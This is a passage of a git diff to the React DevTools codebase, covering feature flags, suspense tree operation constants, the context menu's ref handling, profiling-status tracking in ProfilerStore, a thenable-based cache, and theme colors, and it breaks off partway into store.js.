  * It should always be imported from "react-devtools-feature-flags".
  ************************************************************************/
 
-export const enableLogger = true;
-export const enableStyleXFeatures = true;
-export const isInternalFacebookBuild = true;
+export const enableActivitySlices: boolean = false;
+export const enableLogger: boolean = true;
+export const enableStyleXFeatures: boolean = true;
+export const isInternalFacebookBuild: boolean = true;
 
 /************************************************************************
  * Do not edit the code below.
diff --git a/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.core-oss.js b/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.core-oss.js
index e7ec62243ade..88b01afc3ee0 100644
--- a/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.core-oss.js
+++ b/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.core-oss.js
@@ -13,9 +13,10 @@
  * It should always be imported from "react-devtools-feature-flags".
  ************************************************************************/
 
-export const enableLogger = false;
-export const enableStyleXFeatures = false;
-export const isInternalFacebookBuild = false;
+export const enableActivitySlices: boolean = __DEV__;
+export const enableLogger: boolean = false;
+export const enableStyleXFeatures: boolean = false;
+export const isInternalFacebookBuild: boolean = false;
 
 /************************************************************************
  * Do not edit the code below.
diff --git a/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.default.js b/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.default.js
index bba2c8fcbfb0..85f678a980cf 100644
--- a/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.default.js
+++ b/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.default.js
@@ -13,6 +13,7 @@
  * It should always be imported from "react-devtools-feature-flags".
  ************************************************************************/
 
-export const enableLogger = false;
-export const enableStyleXFeatures = false;
-export const isInternalFacebookBuild = false;
+export const enableActivitySlices: boolean = __DEV__;
+export const enableLogger: boolean = false;
+export const enableStyleXFeatures: boolean = false;
+export const isInternalFacebookBuild: boolean = false;
diff --git a/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.extension-fb.js b/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.extension-fb.js
index 55ea04571501..734e7988c858 100644
--- a/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.extension-fb.js
+++ b/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.extension-fb.js
@@ -13,9 +13,10 @@
  * It should always be imported from "react-devtools-feature-flags".
  ************************************************************************/
 
-export const enableLogger = true;
-export const enableStyleXFeatures = true;
-export const isInternalFacebookBuild = true;
+export const enableActivitySlices: boolean = false;
+export const enableLogger: boolean = true;
+export const enableStyleXFeatures: boolean = true;
+export const isInternalFacebookBuild: boolean = true;
 
 /************************************************************************
  * Do not edit the code below.
diff --git a/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.extension-oss.js b/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.extension-oss.js
index 75c8f149b381..c9b665a9096e 100644
--- a/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.extension-oss.js
+++ b/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.extension-oss.js
@@ -13,9 +13,10 @@
  * It should always be imported from "react-devtools-feature-flags".
  ************************************************************************/
 
-export const enableLogger = false;
-export const enableStyleXFeatures = false;
-export const isInternalFacebookBuild = false;
+export const enableActivitySlices: boolean = __DEV__;
+export const enableLogger: boolean = false;
+export const enableStyleXFeatures: boolean = false;
+export const isInternalFacebookBuild: boolean = false;
 
 /************************************************************************
  * Do not edit the code below.
diff --git a/packages/react-devtools-shared/src/constants.js b/packages/react-devtools-shared/src/constants.js
index 303ae502880a..53488cc2f454 100644
--- a/packages/react-devtools-shared/src/constants.js
+++ b/packages/react-devtools-shared/src/constants.js
@@ -22,11 +22,25 @@ export const TREE_OPERATION_REMOVE = 2;
 export const TREE_OPERATION_REORDER_CHILDREN = 3;
 export const TREE_OPERATION_UPDATE_TREE_BASE_DURATION = 4;
 export const TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS = 5;
-export const TREE_OPERATION_REMOVE_ROOT = 6;
+// Removed `TREE_OPERATION_REMOVE_ROOT`
 export const TREE_OPERATION_SET_SUBTREE_MODE = 7;
+export const SUSPENSE_TREE_OPERATION_ADD = 8;
+export const SUSPENSE_TREE_OPERATION_REMOVE = 9;
+export const SUSPENSE_TREE_OPERATION_REORDER_CHILDREN = 10;
+export const SUSPENSE_TREE_OPERATION_RESIZE = 11;
+export const SUSPENSE_TREE_OPERATION_SUSPENDERS = 12;
+export const TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE = 13;
 
-export const PROFILING_FLAG_BASIC_SUPPORT = 0b01;
-export const PROFILING_FLAG_TIMELINE_SUPPORT = 0b10;
+export const PROFILING_FLAG_BASIC_SUPPORT /*.             */ = 0b001;
+export const PROFILING_FLAG_TIMELINE_SUPPORT /*           */ = 0b010;
+export const PROFILING_FLAG_PERFORMANCE_TRACKS_SUPPORT /* */ = 0b100;
+
+export const UNKNOWN_SUSPENDERS_NONE: UnknownSuspendersReason = 0; // If we had at least one debugInfo, then that might have been the reason.
+export const UNKNOWN_SUSPENDERS_REASON_PRODUCTION: UnknownSuspendersReason = 1; // We're running in prod. That might be why we had unknown suspenders.
+export const UNKNOWN_SUSPENDERS_REASON_OLD_VERSION: UnknownSuspendersReason = 2; // We're running an old version of React that doesn't have full coverage. That might be the reason.
+export const UNKNOWN_SUSPENDERS_REASON_THROWN_PROMISE: UnknownSuspendersReason = 3; // If we're in dev, didn't detect and debug info and still suspended (other than CSS/image) the only reason is thrown promise.
+
+export opaque type UnknownSuspendersReason = 0 | 1 | 2 | 3;
 
 export const LOCAL_STORAGE_DEFAULT_TAB_KEY = 'React::DevTools::defaultTab';
 export const LOCAL_STORAGE_COMPONENT_FILTER_PREFERENCES_KEY =
@@ -37,23 +51,19 @@ export const LOCAL_STORAGE_OPEN_IN_EDITOR_URL =
   'React::DevTools::openInEditorUrl';
 export const LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET =
   'React::DevTools::openInEditorUrlPreset';
+export const LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR =
+  'React::DevTools::alwaysOpenInEditor';
 export const LOCAL_STORAGE_PARSE_HOOK_NAMES_KEY =
   'React::DevTools::parseHookNames';
 export const SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY =
   'React::DevTools::recordChangeDescriptions';
+export const SESSION_STORAGE_RECORD_TIMELINE_KEY =
+  'React::DevTools::recordTimeline';
 export const SESSION_STORAGE_RELOAD_AND_PROFILE_KEY =
   'React::DevTools::reloadAndProfile';
-export const LOCAL_STORAGE_SHOULD_BREAK_ON_CONSOLE_ERRORS =
-  'React::DevTools::breakOnConsoleErrors';
 export const LOCAL_STORAGE_BROWSER_THEME = 'React::DevTools::theme';
-export const LOCAL_STORAGE_SHOULD_APPEND_COMPONENT_STACK_KEY =
-  'React::DevTools::appendComponentStack';
-export const LOCAL_STORAGE_SHOW_INLINE_WARNINGS_AND_ERRORS_KEY =
-  'React::DevTools::showInlineWarningsAndErrors';
 export const LOCAL_STORAGE_TRACE_UPDATES_ENABLED_KEY =
   'React::DevTools::traceUpdatesEnabled';
-export const LOCAL_STORAGE_HIDE_CONSOLE_LOGS_IN_STRICT_MODE =
-  'React::DevTools::hideConsoleLogsInStrictMode';
 export const LOCAL_STORAGE_SUPPORTS_PROFILING_KEY =
   'React::DevTools::supportsProfiling';
 
@@ -62,4 +72,4 @@ export const PROFILER_EXPORT_VERSION = 5;
 export const FIREFOX_CONSOLE_DIMMING_COLOR = 'color: rgba(124, 124, 124, 0.75)';
 export const ANSI_STYLE_DIMMING_TEMPLATE = '\x1b[2;38;2;124;124;124m%s\x1b[0m';
 export const ANSI_STYLE_DIMMING_TEMPLATE_WITH_COMPONENT_STACK =
-  '\x1b[2;38;2;124;124;124m%s %s\x1b[0m';
+  '\x1b[2;38;2;124;124;124m%s %o\x1b[0m';
diff --git a/packages/react-devtools-shared/src/devtools/ContextMenu/ContextMenu.js b/packages/react-devtools-shared/src/devtools/ContextMenu/ContextMenu.js
index a96634fbe46a..ded5bbb22e6c 100644
--- a/packages/react-devtools-shared/src/devtools/ContextMenu/ContextMenu.js
+++ b/packages/react-devtools-shared/src/devtools/ContextMenu/ContextMenu.js
@@ -8,7 +8,7 @@
  */
 
 import * as React from 'react';
-import {useLayoutEffect, createRef} from 'react';
+import {useLayoutEffect} from 'react';
 import {createPortal} from 'react-dom';
 
 import ContextMenuItem from './ContextMenuItem';
@@ -16,7 +16,6 @@ import ContextMenuItem from './ContextMenuItem';
 import type {
   ContextMenuItem as ContextMenuItemType,
   ContextMenuPosition,
-  ContextMenuRef,
 } from './types';
 
 import styles from './ContextMenu.css';
@@ -49,7 +48,6 @@ type Props = {
   items: ContextMenuItemType[],
   position: ContextMenuPosition,
   hide: () => void,
-  ref?: ContextMenuRef,
 };
 
 export default function ContextMenu({
@@ -57,7 +55,6 @@ export default function ContextMenu({
   position,
   items,
   hide,
-  ref = createRef(),
 }: Props): React.Node {
   // This works on the assumption that ContextMenu component is only rendered when it should be shown
   const anchor = anchorElementRef.current;
@@ -73,8 +70,21 @@ export default function ContextMenu({
     '[data-react-devtools-portal-root]',
   );
 
+  const hideMenu = portalContainer == null || items.length === 0;
+  const menuRef = React.useRef<HTMLDivElement | null>(null);
+
   useLayoutEffect(() => {
-    const menu = ((ref.current: any): HTMLElement);
+    // Match the early-return condition below.
+    if (hideMenu) {
+      return;
+    }
+    const maybeMenu = menuRef.current;
+    if (maybeMenu === null) {
+      throw new Error(
+        "Can't access context menu element. This is a bug in React DevTools.",
+      );
+    }
+    const menu = (maybeMenu: HTMLDivElement);
 
     function hideUnlessContains(event: Event) {
       if (!menu.contains(((event.target: any): Node))) {
@@ -98,14 +108,14 @@ export default function ContextMenu({
 
       ownerWindow.removeEventListener('resize', hide);
     };
-  }, []);
+  }, [hideMenu]);
 
-  if (portalContainer == null || items.length === 0) {
+  if (hideMenu) {
     return null;
   }
 
   return createPortal(
-    <div className={styles.ContextMenu} ref={ref}>
+    <div className={styles.ContextMenu} ref={menuRef}>
       {items.map(({onClick, content}, index) => (
         <ContextMenuItem key={index} onClick={onClick} hide={hide}>
           {content}
diff --git a/packages/react-devtools-shared/src/devtools/ContextMenu/ContextMenuContainer.js b/packages/react-devtools-shared/src/devtools/ContextMenu/ContextMenuContainer.js
index 14e1985b2022..22b70dd447c3 100644
--- a/packages/react-devtools-shared/src/devtools/ContextMenu/ContextMenuContainer.js
+++ b/packages/react-devtools-shared/src/devtools/ContextMenu/ContextMenuContainer.js
@@ -53,7 +53,6 @@ export default function ContextMenuContainer({
       position={position}
       hide={hide}
       items={items}
-      ref={ref}
     />
   );
 }
diff --git a/packages/react-devtools-shared/src/devtools/ContextMenu/types.js b/packages/react-devtools-shared/src/devtools/ContextMenu/types.js
index 2436fcc2d1b8..9fda9be19994 100644
--- a/packages/react-devtools-shared/src/devtools/ContextMenu/types.js
+++ b/packages/react-devtools-shared/src/devtools/ContextMenu/types.js
@@ -7,10 +7,10 @@
  * @flow
  */
 
-import type {Node as ReactNode, AbstractComponent, ElementRef} from 'react';
+import type {Node as ReactNode} from 'react';
 
 export type ContextMenuItem = {
-  onClick: () => void,
+  onClick: () => mixed,
   content: ReactNode,
 };
 
@@ -25,5 +25,7 @@ export type ContextMenuHandle = {
   hide(): void,
 };
 
-export type ContextMenuComponent = AbstractComponent<{}, ContextMenuHandle>;
-export type ContextMenuRef = {current: ElementRef<ContextMenuComponent> | null};
+export type ContextMenuComponent = component(
+  ref: React$RefSetter<ContextMenuHandle>,
+);
+export type ContextMenuRef = {current: ContextMenuHandle | null};
diff --git a/packages/react-devtools-shared/src/devtools/ProfilerStore.js b/packages/react-devtools-shared/src/devtools/ProfilerStore.js
index 46b2edcab4d3..33240bd77f3a 100644
--- a/packages/react-devtools-shared/src/devtools/ProfilerStore.js
+++ b/packages/react-devtools-shared/src/devtools/ProfilerStore.js
@@ -11,6 +11,7 @@ import EventEmitter from '../events';
 import {prepareProfilingDataFrontendFromBackendAndStore} from './views/Profiler/utils';
 import ProfilingCache from './ProfilingCache';
 import Store from './store';
+import {logEvent} from 'react-devtools-shared/src/Logger';
 
 import type {FrontendBridge} from 'react-devtools-shared/src/bridge';
 import type {ProfilingDataBackend} from 'react-devtools-shared/src/backend/types';
@@ -67,7 +68,12 @@ export default class ProfilerStore extends EventEmitter<{
 
   // The backend is currently profiling.
   // When profiling is in progress, operations are stored so that we can later reconstruct past commit trees.
-  _isProfiling: boolean = false;
+  _isBackendProfiling: boolean = false;
+
+  // Mainly used for optimistic UI.
+  // This could be false, but at the same time _isBackendProfiling could be true
+  // for cases when Backend is busy serializing a chunky payload.
+  _isProfilingBasedOnUserInput: boolean = false;
 
   // Tracks whether a specific renderer logged any profiling data during the most recent session.
   _rendererIDsThatReportedProfilingData: Set<number> = new Set();
@@ -86,7 +92,8 @@ export default class ProfilerStore extends EventEmitter<{
     super();
 
     this._bridge = bridge;
-    this._isProfiling = defaultIsProfiling;
+    this._isBackendProfiling = defaultIsProfiling;
+    this._isProfilingBasedOnUserInput = defaultIsProfiling;
     this._store = store;
 
     bridge.addListener('operations', this.onBridgeOperations);
@@ -139,8 +146,8 @@ export default class ProfilerStore extends EventEmitter<{
     return this._rendererQueue.size > 0 || this._dataBackends.length > 0;
   }
 
-  get isProfiling(): boolean {
-    return this._isProfiling;
+  get isProfilingBasedOnUserInput(): boolean {
+    return this._isProfilingBasedOnUserInput;
   }
 
   get profilingCache(): ProfilingCache {
@@ -151,7 +158,7 @@ export default class ProfilerStore extends EventEmitter<{
     return this._dataFrontend;
   }
   set profilingData(value: ProfilingDataFrontend | null): void {
-    if (this._isProfiling) {
+    if (this._isBackendProfiling) {
       console.warn(
         'Profiling data cannot be updated while profiling is in progress.',
       );
@@ -184,7 +191,15 @@ export default class ProfilerStore extends EventEmitter<{
   }
 
   startProfiling(): void {
-    this._bridge.send('startProfiling', this._store.recordChangeDescriptions);
+    this.clear();
+
+    this._bridge.send('startProfiling', {
+      recordChangeDescriptions: this._store.recordChangeDescriptions,
+      recordTimeline: this._store.supportsTimeline,
+    });
+
+    this._isProfilingBasedOnUserInput = true;
+    this.emit('isProfiling');
 
     // Don't actually update the local profiling boolean yet!
     // Wait for onProfilingStatus() to confirm the status has changed.
@@ -195,8 +210,12 @@ export default class ProfilerStore extends EventEmitter<{
   stopProfiling(): void {
     this._bridge.send('stopProfiling');
 
-    // Don't actually update the local profiling boolean yet!
-    // Wait for onProfilingStatus() to confirm the status has changed.
+    // Backend might be busy serializing the payload, so we are going to display
+    // optimistic UI to the user that profiling is stopping.
+    this._isProfilingBasedOnUserInput = false;
+    this.emit('isProfiling');
+
+    // Wait for onProfilingStatus() to confirm the status has changed, this will update _isBackendProfiling.
     // This ensures the frontend and backend are in sync wrt which commits were profiled.
     // We do this to avoid mismatches on e.g. CommitTreeBuilder that would cause errors.
   }
@@ -229,7 +248,7 @@ export default class ProfilerStore extends EventEmitter<{
     const rendererID = operations[0];
     const rootID = operations[1];
 
-    if (this._isProfiling) {
+    if (this._isBackendProfiling) {
       let profilingOperations = this._inProgressOperationsByRootID.get(rootID);
       if (profilingOperations == null) {
         profilingOperations = [operations];
@@ -252,8 +271,8 @@ export default class ProfilerStore extends EventEmitter<{
 
   onBridgeProfilingData: (dataBackend: ProfilingDataBackend) => void =
     dataBackend => {
-      if (this._isProfiling) {
-        // This should never happen, but if it does- ignore previous profiling data.
+      if (this._isBackendProfiling) {
+        // This should never happen, but if it does, then ignore previous profiling data.
         return;
       }
 
@@ -289,6 +308,10 @@ export default class ProfilerStore extends EventEmitter<{
   };
 
   onProfilingStatus: (isProfiling: boolean) => void = isProfiling => {
+    if (this._isBackendProfiling === isProfiling) {
+      return;
+    }
+
     if (isProfiling) {
       this._dataBackends.splice(0);
       this._dataFrontend = null;
@@ -315,36 +338,44 @@ export default class ProfilerStore extends EventEmitter<{
       });
     }
 
-    if (this._isProfiling !== isProfiling) {
-      this._isProfiling = isProfiling;
+    this._isBackendProfiling = isProfiling;
+    // _isProfilingBasedOnUserInput should already be updated from startProfiling, stopProfiling, or constructor.
+    if (this._isProfilingBasedOnUserInput !== isProfiling) {
+      logEvent({
+        event_name: 'error',
+        error_message: `Unexpected profiling status. Expected ${this._isProfilingBasedOnUserInput.toString()}, but received ${isProfiling.toString()}.`,
+        error_stack: new Error().stack,
+        error_component_stack: null,
+      });
 
-      // Invalidate suspense cache if profiling data is being (re-)recorded.
-      // Note that we clear again, in case any views read from the cache while profiling.
-      // (That would have resolved a now-stale value without any profiling data.)
-      this._cache.invalidate();
+      // If happened, fallback to displaying the value from Backend
+      this._isProfilingBasedOnUserInput = isProfiling;
+    }
 
-      this.emit('isProfiling');
+    // Invalidate suspense cache if profiling data is being (re-)recorded.
+    // Note that we clear again, in case any views read from the cache while profiling.
+    // (That would have resolved a now-stale value without any profiling data.)
+    this._cache.invalidate();
 
-      // If we've just finished a profiling session, we need to fetch data stored in each renderer interface
-      // and re-assemble it on the front-end into a format (ProfilingDataFrontend) that can power the Profiler UI.
-      // During this time, DevTools UI should probably not be interactive.
-      if (!isProfiling) {
-        this._dataBackends.splice(0);
-        this._rendererQueue.clear();
+    // If we've just finished a profiling session, we need to fetch data stored in each renderer interface
+    // and re-assemble it on the front-end into a format (ProfilingDataFrontend) that can power the Profiler UI.
+    // During this time, DevTools UI should probably not be interactive.
+    if (!isProfiling) {
+      this._dataBackends.splice(0);
+      this._rendererQueue.clear();
 
-        // Only request data from renderers that actually logged it.
-        // This avoids unnecessary bridge requests and also avoids edge case mixed renderer bugs.
-        // (e.g. when v15 and v16 are both present)
-        this._rendererIDsThatReportedProfilingData.forEach(rendererID => {
-          if (!this._rendererQueue.has(rendererID)) {
-            this._rendererQueue.add(rendererID);
+      // Only request data from renderers that actually logged it.
+      // This avoids unnecessary bridge requests and also avoids edge case mixed renderer bugs.
+      // (e.g. when v15 and v16 are both present)
+      this._rendererIDsThatReportedProfilingData.forEach(rendererID => {
+        if (!this._rendererQueue.has(rendererID)) {
+          this._rendererQueue.add(rendererID);
 
-            this._bridge.send('getProfilingData', {rendererID});
-          }
-        });
+          this._bridge.send('getProfilingData', {rendererID});
+        }
+      });
 
-        this.emit('isProcessingData');
-      }
+      this.emit('isProcessingData');
     }
   };
 }
diff --git a/packages/react-devtools-shared/src/devtools/cache.js b/packages/react-devtools-shared/src/devtools/cache.js
index eda30ed56ae3..c927b4d3dbf3 100644
--- a/packages/react-devtools-shared/src/devtools/cache.js
+++ b/packages/react-devtools-shared/src/devtools/cache.js
@@ -7,7 +7,12 @@
  * @flow
  */
 
-import type {ReactContext, Thenable} from 'shared/ReactTypes';
+import type {
+  ReactContext,
+  Thenable,
+  FulfilledThenable,
+  RejectedThenable,
+} from 'shared/ReactTypes';
 
 import * as React from 'react';
 import {createContext} from 'react';
@@ -26,27 +31,6 @@ import {createContext} from 'react';
 
 export type {Thenable};
 
-interface Suspender {
-  then(resolve: () => mixed, reject: () => mixed): mixed;
-}
-
-type PendingResult = {
-  status: 0,
-  value: Suspender,
-};
-
-type ResolvedResult<Value> = {
-  status: 1,
-  value: Value,
-};
-
-type RejectedResult = {
-  status: 2,
-  value: mixed,
-};
-
-type Result<Value> = PendingResult | ResolvedResult<Value> | RejectedResult;
-
 export type Resource<Input, Key, Value> = {
   clear(): void,
   invalidate(Key): void,
@@ -55,13 +39,10 @@ export type Resource<Input, Key, Value> = {
   write(Key, Value): void,
 };
 
-const Pending = 0;
-const Resolved = 1;
-const Rejected = 2;
-
 let readContext;
 if (typeof React.use === 'function') {
   readContext = function (Context: ReactContext<null>) {
+    // eslint-disable-next-line react-hooks-published/rules-of-hooks
     return React.use(Context);
   };
 } else if (
@@ -115,33 +96,25 @@ function accessResult<Input, Key, Value>(
   fetch: Input => Thenable<Value>,
   input: Input,
   key: Key,
-): Result<Value> {
+): Thenable<Value> {
   const entriesForResource = getEntriesForResource(resource);
   const entry = entriesForResource.get(key);
   if (entry === undefined) {
     const thenable = fetch(input);
     thenable.then(
       value => {
-        if (newResult.status === Pending) {
-          const resolvedResult: ResolvedResult<Value> = (newResult: any);
-          resolvedResult.status = Resolved;
-          resolvedResult.value = value;
-        }
+        const fulfilledThenable: FulfilledThenable<Value> = (thenable: any);
+        fulfilledThenable.status = 'fulfilled';
+        fulfilledThenable.value = value;
       },
       error => {
-        if (newResult.status === Pending) {
-          const rejectedResult: RejectedResult = (newResult: any);
-          rejectedResult.status = Rejected;
-          rejectedResult.value = error;
-        }
+        const rejectedThenable: RejectedThenable<Value> = (thenable: any);
+        rejectedThenable.status = 'rejected';
+        rejectedThenable.reason = error;
       },
     );
-    const newResult: PendingResult = {
-      status: Pending,
-      value: thenable,
-    };
-    entriesForResource.set(key, newResult);
-    return newResult;
+    entriesForResource.set(key, thenable);
+    return thenable;
   } else {
     return entry;
   }
@@ -167,23 +140,23 @@ export function createResource<Input, Key, Value>(
       readContext(CacheContext);
 
       const key = hashInput(input);
-      const result: Result<Value> = accessResult(resource, fetch, input, key);
+      const result: Thenable<Value> = accessResult(resource, fetch, input, key);
+      if (typeof React.use === 'function') {
+        // eslint-disable-next-line react-hooks-published/rules-of-hooks
+        return React.use(result);
+      }
+
       switch (result.status) {
-        case Pending: {
-          const suspender = result.value;
-          throw suspender;
-        }
-        case Resolved: {
+        case 'fulfilled': {
           const value = result.value;
           return value;
         }
-        case Rejected: {
-          const error = result.value;
+        case 'rejected': {
+          const error = result.reason;
           throw error;
         }
         default:
-          // Should be unreachable
-          return (undefined: any);
+          throw result;
       }
     },
 
@@ -198,12 +171,13 @@ export function createResource<Input, Key, Value>(
     write(key: Key, value: Value): void {
       const entriesForResource = getEntriesForResource(resource);
 
-      const resolvedResult: ResolvedResult<Value> = {
-        status: Resolved,
+      const fulfilledThenable: FulfilledThenable<Value> = (Promise.resolve(
         value,
-      };
+      ): any);
+      fulfilledThenable.status = 'fulfilled';
+      fulfilledThenable.value = value;
 
-      entriesForResource.set(key, resolvedResult);
+      entriesForResource.set(key, fulfilledThenable);
     },
   };
 
diff --git a/packages/react-devtools-shared/src/devtools/constants.js b/packages/react-devtools-shared/src/devtools/constants.js
index 8824003ec374..d093a798bcd3 100644
--- a/packages/react-devtools-shared/src/devtools/constants.js
+++ b/packages/react-devtools-shared/src/devtools/constants.js
@@ -27,6 +27,7 @@ export const THEME_STYLES: {[style: Theme | DisplayDensity]: any, ...} = {
     '--color-background-selected': '#0088fa',
     '--color-button-background': '#ffffff',
     '--color-button-background-focus': '#ededed',
+    '--color-button-background-hover': 'rgba(0, 0, 0, 0.2)',
     '--color-button': '#5f6673',
     '--color-button-disabled': '#cfd1d5',
     '--color-button-active': '#0088fa',
@@ -134,6 +135,7 @@ export const THEME_STYLES: {[style: Theme | DisplayDensity]: any, ...} = {
     '--color-timeline-text-color': '#000000',
     '--color-timeline-text-dim-color': '#ccc',
     '--color-timeline-react-work-border': '#eeeeee',
+    '--color-timebar-background': '#f6f6f6',
     '--color-search-match': 'yellow',
     '--color-search-match-current': '#f7923b',
     '--color-selected-tree-highlight-active': 'rgba(0, 136, 250, 0.1)',
@@ -152,6 +154,14 @@ export const THEME_STYLES: {[style: Theme | DisplayDensity]: any, ...} = {
     '--color-warning-text-color': '#ffffff',
     '--color-warning-text-color-inverted': '#fd4d69',
 
+    '--color-suspense-default': '#0088fa',
+    '--color-transition-default': '#6a51b2',
+    '--color-suspense-server': '#62bc6a',
+    '--color-transition-server': '#3f7844',
+    '--color-suspense-other': '#f3ce49',
+    '--color-transition-other': '#917b2c',
+    '--color-suspense-errored': '#d57066',
+
     // The styles below should be kept in sync with 'root.css'
     // They are repeated there because they're used by e.g. tooltips or context menus
     // which get rendered outside of the DOM subtree (where normal theme/styles are written).
@@ -159,6 +169,9 @@ export const THEME_STYLES: {[style: Theme | DisplayDensity]: any, ...} = {
     '--color-scroll-track': '#fafafa',
     '--color-tooltip-background': 'rgba(0, 0, 0, 0.9)',
     '--color-tooltip-text': '#ffffff',
+
+    '--elevation-4':
+      '0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)',
   },
   dark: {
     '--color-attribute-name': '#9d87d2',
@@ -174,6 +187,7 @@ export const THEME_STYLES: {[style: Theme | DisplayDensity]: any, ...} = {
     '--color-background-selected': '#178fb9',
     '--color-button-background': '#282c34',
     '--color-button-background-focus': '#3d424a',
+    '--color-button-background-hover': 'rgba(255, 255, 255, 0.2)',
     '--color-button': '#afb3b9',
     '--color-button-active': '#61dafb',
     '--color-button-disabled': '#4f5766',
@@ -281,6 +295,7 @@ export const THEME_STYLES: {[style: Theme | DisplayDensity]: any, ...} = {
     '--color-timeline-text-color': '#282c34',
     '--color-timeline-text-dim-color': '#555b66',
     '--color-timeline-react-work-border': '#3d424a',
+    '--color-timebar-background': '#1d2129',
     '--color-search-match': 'yellow',
     '--color-search-match-current': '#f7923b',
     '--color-selected-tree-highlight-active': 'rgba(23, 143, 185, 0.15)',
@@ -300,6 +315,14 @@ export const THEME_STYLES: {[style: Theme | DisplayDensity]: any, ...} = {
     '--color-warning-text-color': '#ffffff',
     '--color-warning-text-color-inverted': '#ee1638',
 
+    '--color-suspense-default': '#61dafb',
+    '--color-transition-default': '#6a51b2',
+    '--color-suspense-server': '#62bc6a',
+    '--color-transition-server': '#3f7844',
+    '--color-suspense-other': '#f3ce49',
+    '--color-transition-other': '#917b2c',
+    '--color-suspense-errored': '#d57066',
+
     // The styles below should be kept in sync with 'root.css'
     // They are repeated there because they're used by e.g. tooltips or context menus
     // which get rendered outside of the DOM subtree (where normal theme/styles are written).
@@ -307,6 +330,9 @@ export const THEME_STYLES: {[style: Theme | DisplayDensity]: any, ...} = {
     '--color-scroll-track': '#313640',
     '--color-tooltip-background': 'rgba(255, 255, 255, 0.95)',
     '--color-tooltip-text': '#000000',
+
+    '--elevation-4':
+      '0 2px 8px 0 rgba(0,0,0,0.32),0 4px 12px 0 rgba(0,0,0,0.24),0 1px 10px 0 rgba(0,0,0,0.18)',
   },
   compact: {
     '--font-size-monospace-small': '9px',
diff --git a/packages/react-devtools-shared/src/devtools/store.js b/packages/react-devtools-shared/src/devtools/store.js
index ef6f72034624..e11b90272e59 100644
--- a/packages/react-devtools-shared/src/devtools/store.js
+++ b/packages/react-devtools-shared/src/devtools/store.js
@@ -13,21 +13,32 @@ import {inspect} from 'util';
 import {
   PROFILING_FLAG_BASIC_SUPPORT,
   PROFILING_FLAG_TIMELINE_SUPPORT,
+  PROFILING_FLAG_PERFORMANCE_TRACKS_SUPPORT,
   TREE_OPERATION_ADD,
   TREE_OPERATION_REMOVE,
-  TREE_OPERATION_REMOVE_ROOT,
   TREE_OPERATION_REORDER_CHILDREN,
   TREE_OPERATION_SET_SUBTREE_MODE,
   TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS,
   TREE_OPERATION_UPDATE_TREE_BASE_DURATION,
+  TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE,
+  SUSPENSE_TREE_OPERATION_ADD,
+  SUSPENSE_TREE_OPERATION_REMOVE,
+  SUSPENSE_TREE_OPERATION_REORDER_CHILDREN,
+  SUSPENSE_TREE_OPERATION_RESIZE,
+  SUSPENSE_TREE_OPERATION_SUSPENDERS,
 } from '../constants';
-import {ElementTypeRoot} from '../frontend/types';
+import {
+  ElementTypeRoot,
+  ElementTypeActivity,
+  ComponentFilterActivitySlice,
+} from '../frontend/types';
 import {
   getSavedComponentFilters,
   setSavedComponentFilters,
   shallowDiffers,
   utfDecodeStringWithRanges,
   parseElementDisplayNameFromBackend,
+  unionOfTwoArrays,
 } from '../utils';
 import {localStorageGetItem, localStorageSetItem} from '../storage';
 import {__DEBUG__} from '../constants';
@@ -37,18 +48,52 @@ import {
   BRIDGE_PROTOCOL,
   currentBridgeProtocol,
 } from 'react-devtools-shared/src/bridge';
-import {StrictMode} from 'react-devtools-shared/src/frontend/types';
+import {
+  StrictMode,
+  ActivityHiddenMode,
+  ActivityVisibleMode,
+} from 'react-devtools-shared/src/frontend/types';
+import {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';
 
 import type {
   Element,
   ComponentFilter,
   ElementType,
+  SuspenseNode,
+  SuspenseTimelineStep,
+  Rect,
 } from 'react-devtools-shared/src/frontend/types';
 import type {
   FrontendBridge,
   BridgeProtocol,
 } from 'react-devtools-shared/src/bridge';
 import UnsupportedBridgeOperationError from 'react-devtools-shared/src/UnsupportedBridgeOperationError';
+import type {DevToolsHookSettings} from '../backend/types';
+
+import RBush from 'rbush';
+
+// Custom version which works with our Rect data structure.
+class RectRBush extends RBush<Rect> {
+  toBBox(rect: Rect): {
+    minX: number,
+    minY: number,
+    maxX: number,
+    maxY: number,
+  } {
+    return {
+      minX: rect.x,
+      minY: rect.y,
+      maxX: rect.x + rect.width,
+      maxY: rect.y + rect.height,
+    };
+  }
+  compareMinX(a: Rect, b: Rect): number {
+    return a.x - b.x;
+  }
+  compareMinY(a: Rect, b: Rect): number {
+    return a.y - b.y;
+  }
+}
 
 const debug = (methodName: string, ...args: Array<string>) => {
   if (__DEBUG__) {
@@ -78,13 +123,22 @@ export type Config = {
   supportsTraceUpdates?: boolean,
 };
 
+const ADVANCED_PROFILING_NONE = 0;
+const ADVANCED_PROFILING_TIMELINE = 1;
+const ADVANCED_PROFILING_PERFORMANCE_TRACKS = 2;
+type AdvancedProfiling = 0 | 1 | 2;
+
 export type Capabilities = {
   supportsBasicProfiling: boolean,
   hasOwnerMetadata: boolean,
   supportsStrictMode: boolean,
-  supportsTimeline: boolean,
+  supportsAdvancedProfiling: AdvancedProfiling,
 };
 
+function isNonZeroRect(rect: Rect) {
